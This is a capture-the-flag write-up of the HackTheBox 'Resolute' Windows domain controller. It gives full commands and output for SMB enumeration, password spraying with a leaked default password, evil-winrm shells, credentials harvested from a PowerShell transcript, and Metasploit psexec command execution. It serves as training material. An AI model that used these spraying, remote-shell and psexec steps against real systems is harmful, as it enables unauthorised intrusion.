



Resolute - Write-up - HackTheBox

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1 Information

READ THE WU ONLINE: <https://rawsec.ml/en/hackthebox-resolute-write-up/>

1.1 Box

- **Name:** Resolute
- **Profile:** www.hackthebox.eu
- **Difficulty:** Medium
- **OS:** Windows
- **Points:** 30




Figure 1.1: resolute

2 Write-up

2.1 Overview

- **Network Enumeration:** SMB, WinRM
- **Network service exploitation:** cme CMB password spraying
- **System enumeration, elevation of privilege: melanie to ryan:** creds leaked in a file
- **System elevation of privilege: ryan to administrator:** I had luck, should have been DNS service EoP

2.2 Network Enumeration

TL;DR: SMB, WinRM

As always, I'll start with a full **nmap** scan:

BlackArch: pacman -S nmap

```
$ cat nmap_A.nmap
# Nmap 7.80 scan initiated Fri Mar 20 17:46:45 2020 as: nmap -A -p- -oA nmap_A -v 10.10.10.169
Nmap scan report for 10.10.10.169
Host is up (0.028s latency).
Not shown: 65511 closed ports
PORT      STATE SERVICE      VERSION
53/tcp    open  domain?
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|_    bind
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2020-03-20 16:55:41Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local,
↪ Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup:
↪ MEGABANK)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
```

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We have Windows machine with SMB, LDAP, WinRM, etc. exposed.

So I'll see if **crackmapexec** can find the same information as the **smb-os-discovery** **nmap** script (NSE).

BlackArch: `pacman -S crackmapexec`

```
$ cme smb 10.10.10.169
SMB      10.10.10.169      445      RESOLUTE      [*] Windows Server 2016 Standard 14393 x64
↳ (name:RESOLUTE) (domain:MEGABANK) (signing:True) (SMBv1:True)
```

Okay fine, SMB looks like a good place to start, so I'll use **enum4linux** to enumeration information over SMB.

BlackArch: `pacman -S enum4linux`

```
$ enum4linux -a 10.10.10.169
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri Mar
↳ 20 21:20:00 2020

=====
|   Target Information   |
=====
Target ..... 10.10.10.169
RID Range ..... 500-550,1000-1050
Username ..... ''
Password ..... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

=====
|   Enumerating Workgroup/Domain on 10.10.10.169   |
=====
[E] Can't find workgroup/domain

=====
|   Nbtstat Information for 10.10.10.169   |
=====
Looking up status of 10.10.10.169
No reply from 10.10.10.169

=====
|   Session Check on 10.10.10.169   |
=====
[+] Server 10.10.10.169 allows sessions using username '', password ''
[+] Got domain/workgroup name:

=====
|   Getting domain SID for 10.10.10.169   |
=====
```

```

Unable to initialize messaging context
Domain Name: MEGABANK
Domain Sid: S-1-5-21-1392959593-3013219662-3596683436
[+] Host is part of a domain (not a workgroup)

=====
|   OS information on 10.10.10.169   |
=====
[+] Got OS info for 10.10.10.169 from smbclient:
[+] Got OS info for 10.10.10.169 from srvinfo:
Unable to initialize messaging context
Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED

=====
|   Users on 10.10.10.169   |
=====
index: 0x10b0 RID: 0x19ca acb: 0x00000010 Account: abigail      Name: (null)   Desc: (null)
index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null)   Desc: Built-in
↳ account for administering the computer/domain
index: 0x10b4 RID: 0x19ce acb: 0x00000010 Account: angela      Name: (null)   Desc: (null)
index: 0x10bc RID: 0x19d6 acb: 0x00000010 Account: annette     Name: (null)   Desc: (null)
index: 0x10bd RID: 0x19d7 acb: 0x00000010 Account: annika      Name: (null)   Desc: (null)
index: 0x10b9 RID: 0x19d3 acb: 0x00000010 Account: claire      Name: (null)   Desc: (null)
index: 0x10bf RID: 0x19d9 acb: 0x00000010 Account: claudel     Name: (null)   Desc: (null)
index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null)   Desc: A user
↳ account managed by the system.
index: 0x10b5 RID: 0x19cf acb: 0x00000010 Account: felicia     Name: (null)   Desc: (null)
index: 0x10b3 RID: 0x19cd acb: 0x00000010 Account: fred Name: (null)   Desc: (null)
index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null)   Desc: Built-in account
↳ for guest access to the computer/domain
index: 0x10b6 RID: 0x19d0 acb: 0x00000010 Account: gustavo      Name: (null)   Desc: (null)
index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null)   Desc: Key Distribution
↳ Center Service Account
index: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus       Name: (null)   Desc: (null)
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak   Desc: Account
↳ created. Password set to Welcome123!
index: 0x10c0 RID: 0x2775 acb: 0x00000010 Account: melanie      Name: (null)   Desc: (null)
index: 0x10c3 RID: 0x2778 acb: 0x00000010 Account: naoki        Name: (null)   Desc: (null)
index: 0x10ba RID: 0x19d4 acb: 0x00000010 Account: paulo        Name: (null)   Desc: (null)
index: 0x10be RID: 0x19d8 acb: 0x00000010 Account: per Name: (null)   Desc: (null)
index: 0x10a3 RID: 0x451 acb: 0x00000210 Account: ryan Name: Ryan Bertrand Desc: (null)
index: 0x10b2 RID: 0x19cc acb: 0x00000010 Account: sally        Name: (null)   Desc: (null)
index: 0x10c2 RID: 0x2777 acb: 0x00000010 Account: simon        Name: (null)   Desc: (null)
index: 0x10bb RID: 0x19d5 acb: 0x00000010 Account: steve        Name: (null)   Desc: (null)
index: 0x10b8 RID: 0x19d2 acb: 0x00000010 Account: stevie       Name: (null)   Desc: (null)
index: 0x10af RID: 0x19c9 acb: 0x00000010 Account: sunita       Name: (null)   Desc: (null)
index: 0x10b7 RID: 0x19d1 acb: 0x00000010 Account: ulf Name: (null)   Desc: (null)
index: 0x10c1 RID: 0x2776 acb: 0x00000010 Account: zach Name: (null)   Desc: (null)

user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]

```



```
user:[ryan] rid:[0x451]
user:[marko] rid:[0x457]
user:[sunita] rid:[0x19c9]
user:[abigail] rid:[0x19ca]
user:[marcus] rid:[0x19cb]
user:[sally] rid:[0x19cc]
user:[fred] rid:[0x19cd]
user:[angela] rid:[0x19ce]
user:[felicia] rid:[0x19cf]
user:[gustavo] rid:[0x19d0]
user:[ulf] rid:[0x19d1]
user:[stevie] rid:[0x19d2]
user:[claire] rid:[0x19d3]
user:[paulo] rid:[0x19d4]
user:[steve] rid:[0x19d5]
user:[annette] rid:[0x19d6]
user:[annika] rid:[0x19d7]
user:[per] rid:[0x19d8]
user:[claudio] rid:[0x19d9]
user:[melanie] rid:[0x2775]
user:[zach] rid:[0x2776]
user:[simon] rid:[0x2777]
user:[naoki] rid:[0x2778]

=====
|   Share Enumeration on 10.10.10.169   |
=====
Unable to initialize messaging context
do_connect: Connection to 10.10.10.169 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)

      Sharename      Type      Comment
      -
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 10.10.10.169

=====
|   Password Policy Information for 10.10.10.169   |
=====
[E] Unexpected error from polenum:

[+] Attaching to 10.10.10.169 using a NULL share

[+] Trying protocol 139/SMB...

      [!] Protocol failed: Cannot request session (Called Name:10.10.10.169)

[+] Trying protocol 445/SMB...

      [!] Protocol failed: Missing required parameter 'digestmod'.
```



```
[+] Retrieved partial password policy with rpcclient:
```

```
Password Complexity: Disabled
```

```
Minimum Password Length: 7
```

```
=====
|   Groups on 10.10.10.169   |
=====
```

```
[+] Getting builtin groups:
```

```
group:[Account Operators] rid:[0x224]
group:[Pre-Windows 2000 Compatible Access] rid:[0x22a]
group:[Incoming Forest Trust Builders] rid:[0x22d]
group:[Windows Authorization Access Group] rid:[0x230]
group:[Terminal Server License Servers] rid:[0x231]
group:[Administrators] rid:[0x220]
group:[Users] rid:[0x221]
group:[Guests] rid:[0x222]
group:[Print Operators] rid:[0x226]
group:[Backup Operators] rid:[0x227]
group:[Replicator] rid:[0x228]
group:[Remote Desktop Users] rid:[0x22b]
group:[Network Configuration Operators] rid:[0x22c]
group:[Performance Monitor Users] rid:[0x22e]
group:[Performance Log Users] rid:[0x22f]
group:[Distributed COM Users] rid:[0x232]
group:[IIS_IUSRS] rid:[0x238]
group:[Cryptographic Operators] rid:[0x239]
group:[Event Log Readers] rid:[0x23d]
group:[Certificate Service DCOM Access] rid:[0x23e]
group:[RDS Remote Access Servers] rid:[0x23f]
group:[RDS Endpoint Servers] rid:[0x240]
group:[RDS Management Servers] rid:[0x241]
group:[Hyper-V Administrators] rid:[0x242]
group:[Access Control Assistance Operators] rid:[0x243]
group:[Remote Management Users] rid:[0x244]
group:[System Managed Accounts Group] rid:[0x245]
group:[Storage Replica Administrators] rid:[0x246]
group:[Server Operators] rid:[0x225]
```

```
[+] Getting builtin group memberships:
```

```
Group 'IIS_IUSRS' (RID: 568) has member: Couldn't lookup SIDs
Group 'Windows Authorization Access Group' (RID: 560) has member: Couldn't lookup SIDs
Group 'Users' (RID: 545) has member: Couldn't lookup SIDs
Group 'Pre-Windows 2000 Compatible Access' (RID: 554) has member: Couldn't lookup SIDs
Group 'Remote Management Users' (RID: 580) has member: Couldn't lookup SIDs
Group 'System Managed Accounts Group' (RID: 581) has member: Couldn't lookup SIDs
Group 'Administrators' (RID: 544) has member: Couldn't lookup SIDs
Group 'Guests' (RID: 546) has member: Couldn't lookup SIDs
```

```
[+] Getting local groups:
```

```
group:[Cert Publishers] rid:[0x205]
group:[RAS and IAS Servers] rid:[0x229]
group:[Allowed RODC Password Replication Group] rid:[0x23b]
group:[Denied RODC Password Replication Group] rid:[0x23c]
group:[DnsAdmins] rid:[0x44d]

[+] Getting local group memberships:
Group 'Denied RODC Password Replication Group' (RID: 572) has member: Couldn't lookup SIDs
Group 'DnsAdmins' (RID: 1101) has member: Couldn't lookup SIDs

[+] Getting domain groups:
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
group:[Contractors] rid:[0x44f]

[+] Getting domain group memberships:
Group 'Domain Guests' (RID: 514) has member: MEGABANK\Guest
Group 'Group Policy Creator Owners' (RID: 520) has member: MEGABANK\Administrator
Group 'Schema Admins' (RID: 518) has member: MEGABANK\Administrator
Group 'Enterprise Admins' (RID: 519) has member: MEGABANK\Administrator
Group 'Domain Controllers' (RID: 516) has member: MEGABANK\RESOLUTE$
Group 'Contractors' (RID: 1103) has member: MEGABANK\ryan
Group 'Domain Admins' (RID: 512) has member: MEGABANK\Administrator
Group 'Domain Computers' (RID: 515) has member: MEGABANK\MS02$
Group 'Domain Users' (RID: 513) has member: MEGABANK\Administrator
Group 'Domain Users' (RID: 513) has member: MEGABANK\DefaultAccount
Group 'Domain Users' (RID: 513) has member: MEGABANK\krbtgt
Group 'Domain Users' (RID: 513) has member: MEGABANK\ryan
Group 'Domain Users' (RID: 513) has member: MEGABANK\marko
Group 'Domain Users' (RID: 513) has member: MEGABANK\sunita
Group 'Domain Users' (RID: 513) has member: MEGABANK\abigail
Group 'Domain Users' (RID: 513) has member: MEGABANK\marcus
Group 'Domain Users' (RID: 513) has member: MEGABANK\sally
Group 'Domain Users' (RID: 513) has member: MEGABANK\fred
Group 'Domain Users' (RID: 513) has member: MEGABANK\angela
Group 'Domain Users' (RID: 513) has member: MEGABANK\felicia
Group 'Domain Users' (RID: 513) has member: MEGABANK\gustavo
Group 'Domain Users' (RID: 513) has member: MEGABANK\ulf
Group 'Domain Users' (RID: 513) has member: MEGABANK\stevie
Group 'Domain Users' (RID: 513) has member: MEGABANK\claire
```

```
Group 'Domain Users' (RID: 513) has member: MEGABANK\paulo
Group 'Domain Users' (RID: 513) has member: MEGABANK\steve
Group 'Domain Users' (RID: 513) has member: MEGABANK\annette
Group 'Domain Users' (RID: 513) has member: MEGABANK\annika
Group 'Domain Users' (RID: 513) has member: MEGABANK\per
Group 'Domain Users' (RID: 513) has member: MEGABANK\claudio
Group 'Domain Users' (RID: 513) has member: MEGABANK\melanie
Group 'Domain Users' (RID: 513) has member: MEGABANK\zach
Group 'Domain Users' (RID: 513) has member: MEGABANK\simon
Group 'Domain Users' (RID: 513) has member: MEGABANK\naoiki

=====
|   Users on 10.10.10.169 via RID cycling (RIDS: 500-550,1000-1050)   |
=====
[E] Couldn't get SID: NT_STATUS_ACCESS_DENIED.  RID cycling not possible.

=====
|   Getting printer info for 10.10.10.169   |
=====
Unable to initialize messaging context
Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED

enum4linux complete on Fri Mar 20 21:21:35 2020
```

We have what seems a default password and a list of users.

```
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak      Desc: Account
↳ created. Password set to Welcome123!
```

2.3 Network service exploitation

TL;DR: cme CMB password spraying

So let's use **crackmapexec** to bruteforce accounts, we'll try to use the default password on every accounts (password spraying).

```
$ cme smb 10.10.10.169 -u ./usernames.txt -p 'Welcome123!'
SMB      10.10.10.169    445    RESOLUTE    [*] Windows Server 2016 Standard 14393 x64
↳ (name:RESOLUTE) (domain:MEGABANK) (signing:True) (SMBv1:True)
SMB      10.10.10.169    445    RESOLUTE    [-] MEGABANK\abigail:Welcome123!
↳ STATUS_LOGON_FAILURE
SMB      10.10.10.169    445    RESOLUTE    [-] MEGABANK\angela:Welcome123!
↳ STATUS_LOGON_FAILURE
SMB      10.10.10.169    445    RESOLUTE    [-] MEGABANK\annette:Welcome123!
↳ STATUS_LOGON_FAILURE
SMB      10.10.10.169    445    RESOLUTE    [-] MEGABANK\annika:Welcome123!
↳ STATUS_LOGON_FAILURE
```

```
SMB      10.10.10.169    445    RESOLUTE    [-] MEGABANK\claire>Welcome123!
↳ STATUS_LOGON_FAILURE
SMB      10.10.10.169    445    RESOLUTE    [-] MEGABANK\claudio>Welcome123!
↳ STATUS_LOGON_FAILURE
SMB      10.10.10.169    445    RESOLUTE    [-] MEGABANK\felicia>Welcome123!
↳ STATUS_LOGON_FAILURE
SMB      10.10.10.169    445    RESOLUTE    [-] MEGABANK\fred>Welcome123!
↳ STATUS_LOGON_FAILURE
SMB      10.10.10.169    445    RESOLUTE    [-] MEGABANK\Guest>Welcome123!
↳ STATUS_LOGON_FAILURE
SMB      10.10.10.169    445    RESOLUTE    [-] MEGABANK\gustavo>Welcome123!
↳ STATUS_LOGON_FAILURE
SMB      10.10.10.169    445    RESOLUTE    [-] MEGABANK\marcus>Welcome123!
↳ STATUS_LOGON_FAILURE
SMB      10.10.10.169    445    RESOLUTE    [-] MEGABANK\marko>Welcome123!
↳ STATUS_LOGON_FAILURE
SMB      10.10.10.169    445    RESOLUTE    [+] MEGABANK\melanie>Welcome123!
```

Now we have found valid credentials (melanie>Welcome123!) we can gain a shell through WinRM with **evil-winrm**:

BlackArch: pacman -S evil-winrm

```
$ evil-winrm -i 10.10.10.169 -u melanie -p 'Welcome123!'

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\melanie\Documents> cat user.txt
0c3be45fcfe249796ccbee8d3a978540
```

2.4 System enumeration, elevation of privilege: melanie to ryan

TL;DR: creds leaked in a file

Let's see local users on the machine:

```
*Evil-WinRM* PS C:\Users\melanie> net user

User accounts for \\

-----
abigail      Administrator    angela
annette     annika          claire
claudio     DefaultAccount  felicia
fred        Guest           gustavo
```

```
krbtgt          marcus          marko
melanie         naoki           paulo
per            ryan           sally
simon          steve          stevie
sunita         ulf            zach
The command completed with one or more errors.
```

Let's check groups of some user, maybe we can learn more than previously with [enum4linux](#):

```
*Evil-WinRM* PS C:\Users\melanie> net user melanie
User name                melanie
Full Name
Comment
User's comment
Country/region code      000 (System Default)
Account active           Yes
Account expires          Never

Password last set        3/20/2020 2:46:11 PM
Password expires         Never
Password changeable      3/21/2020 2:46:11 PM
Password required        Yes
User may change password Yes

Workstations allowed     All
Logon script
User profile
Home directory
Last logon               Never

Logon hours allowed      All

Local Group Memberships  *Remote Management Use
Global Group memberships *Domain Users
The command completed successfully.
```

Our user `melanie` doesn't seem very privileged. Let's see about `ryan`:

```
*Evil-WinRM* PS C:\Users\melanie> net user ryan
User name                ryan
Full Name                Ryan Bertrand
Comment
User's comment
Country/region code      000 (System Default)
Account active           Yes
Account expires          Never

Password last set        3/20/2020 2:46:10 PM
Password expires         Never
Password changeable      3/21/2020 2:46:10 PM
```

```
Password required          Yes
User may change password   Yes

Workstations allowed       All
Logon script
User profile
Home directory
Last logon                 Never

Logon hours allowed        All

Local Group Memberships
Global Group memberships   *Domain Users      *Contractors
The command completed successfully.
```

ryan is in the Contractors group, he can be a more interesting target.

Then I did some file enumeration on the file system and found there was a PSTranscripts folder in C:\ with a promising text file inside:

```
*Evil-WinRM* PS C:\Users\melanie> type
➔ ../../PSTranscripts/20191203/PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
*****
Windows PowerShell transcript start
Start time: 20191203063201
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273
BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
*****
Command start time: 20191203063455
*****
PS>TerminatingError(): "System error."
>> CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="-join($id,'PS
➔ ',$(whoami),'@',$env:computername,' ',$(gi $pwd).Name),'> ')"
if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }"
>> CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="Stream"; value="True"
*****
Command start time: 20191203063455
*****
```

```
PS>ParameterBinding(Out-String): name="InputObject"; value="PS megabank\ryan@RESOLUTE
↳ Documents> "
PS megabank\ryan@RESOLUTE Documents>
*****
Command start time: 20191203063515
*****
PS>CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X:
↳ \\fs01\backups ryan Serv3r4Admin4cc123!

if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }"
>> CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="Stream"; value="True"
*****
Windows PowerShell transcript start
Start time: 20191203063515
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273
BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
*****
*****
Command start time: 20191203063515
*****
PS>CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="InputObject"; value="The syntax of this command is:"
cmd : The syntax of this command is:
At line:1 char:1
+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
+ ~~~~~
+ CategoryInfo          : NotSpecified: (The syntax of this command is::String) [],
↳ RemoteException
+ FullyQualifiedErrorId : NativeCommandError
cmd : The syntax of this command is:
At line:1 char:1
+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
+ ~~~~~
+ CategoryInfo          : NotSpecified: (The syntax of this command is::String) [],
↳ RemoteException
+ FullyQualifiedErrorId : NativeCommandError
*****
Windows PowerShell transcript start
Start time: 20191203063515
Username: MEGABANK\ryan
```



```

RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273
BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
*****

```

As you see the logs are leaking credentials: ryan / Serv3r4Admin4cc123!.

2.5 System elevation of privilege: ryan to administrator

TL;DR: I had luck, should have been DNS service EoP

We can connect with ryan using **evil-winrm**, but as a note on the desktop tells us, the connection will be reset every minutes.

```

$ evil-winrm -i 10.10.10.169 -u ryan -p 'Serv3r4Admin4cc123!'

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\ryan> type Desktop/note.txt
Email to team:

- due to change freeze, any system changes (apart from those to the administrator account)
  ↳ will be automatically reverted within 1 minute

```

As our shell is reverted too quickly we have to find another way to elevate our privilege. Let's see with **crackmapexec** if there are some interesting shares:

```

$ cme smb 10.10.10.169 -u ryan -p 'Serv3r4Admin4cc123!' --shares
SMB      10.10.10.169    445    RESOLUTE    [*] Windows Server 2016 Standard 14393 x64
↳ (name:RESOLUTE) (domain:MEGABANK) (signing:True) (SMBv1:True)
SMB      10.10.10.169    445    RESOLUTE    [+] MEGABANK\ryan:Serv3r4Admin4cc123!
↳ (Pwn3d!)
SMB      10.10.10.169    445    RESOLUTE    [+] Enumerated shares
SMB      10.10.10.169    445    RESOLUTE    Share      Permissions      Remark
SMB      10.10.10.169    445    RESOLUTE    -----      -

```

SMB	10.10.10.169	445	RESOLUTE	ADMIN\$		Remote
↳ Admin						
SMB	10.10.10.169	445	RESOLUTE	C\$		Default
↳ share						
SMB	10.10.10.169	445	RESOLUTE	IPC\$		Remote IPC
SMB	10.10.10.169	445	RESOLUTE	NETLOGON	READ	Logon
↳ server share						
SMB	10.10.10.169	445	RESOLUTE	SYSVOL	READ	Logon
↳ server share						

I found that C\$ share was writable by ryan so we can use a psexec **msf** exploit to execute commands. Getting a shell would be useless because of the 1 min limit, so let's just copy the flag into ryan home. It seems ryan has admin privileges.

BlackArch: pacman -S metasploit

```
msf5 auxiliary(admin/smb/psexec_command) > options

Module options (auxiliary/admin/smb/psexec_command):

  Name              Current Setting
  ↳ Required        Description
  -----
  ↳ COMMAND         copy C:\Users\Administrator\Desktop\root.txt
  ↳ C:\Users\ryan\Videos\noraj.txt yes      The command you want to execute on the remote
  ↳ host
  ↳ RHOSTS          10.10.10.169
  ↳ yes            The target host(s), range CIDR identifier, or hosts file with syntax
  ↳ 'file:<path>'
  ↳ RPORT          445
  ↳ yes            The Target port
  ↳ SERVICE_DESCRIPTION
  ↳ no            Service description to to be used on target for pretty listing
  ↳ SERVICE_DISPLAY_NAME
  ↳ no            The service display name
  ↳ SERVICE_NAME
  ↳ no            The service name
  ↳ SMBDomain      MEGABANK
  ↳ no            The Windows domain to use for authentication
  ↳ SMBPass        Serv3r4Admin4cc123!
  ↳ no            The password for the specified username
  ↳ SMBSHARE       C$
  ↳ yes            The name of a writeable share on the server
  ↳ SMBUser        ryan
  ↳ no            The username to authenticate as
  ↳ THREADS        1
  ↳ yes            The number of concurrent threads (max one per host)
  ↳ WINPATH        Users\ryan\Videos
  ↳ yes            The name of the remote Windows directory
```

```
*Evil-WinRM* PS C:\Users\ryan\Videos> type noraj.txt  
e1d94876a506850d0c20edb5405e619c
```

Note: It seems to be an unexpected side-effect as all other WU I read where exploiting the dns service via DnsAdmins group, a DLL, smbserver and dnscmd (see [Windows Privilege Escalation: DNSAdmins to Domain Admins - Server Level DLL Injection](#)). So maybe someone did it on the box and didn't reset it.